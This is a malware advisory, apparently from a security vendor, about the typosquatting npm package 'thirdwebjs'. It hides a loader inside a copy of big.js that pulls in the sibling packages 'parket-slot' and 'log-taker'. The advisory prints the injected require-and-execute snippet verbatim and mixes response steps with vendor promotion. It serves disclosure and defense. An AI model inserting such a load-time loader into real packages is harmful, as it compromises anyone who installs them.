thirdwebjsnpm
Malicious code in thirdwebjs (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares "log-taker": "^0.0.9" as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for thirdwebjs (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging thirdwebjs across your stack and pipelines.
If you installed it — respond
thirdwebjs is a typosquat — you almost certainly intended a legitimately-named package. Remove thirdwebjs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If thirdwebjs was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks thirdwebjs before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks thirdwebjs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.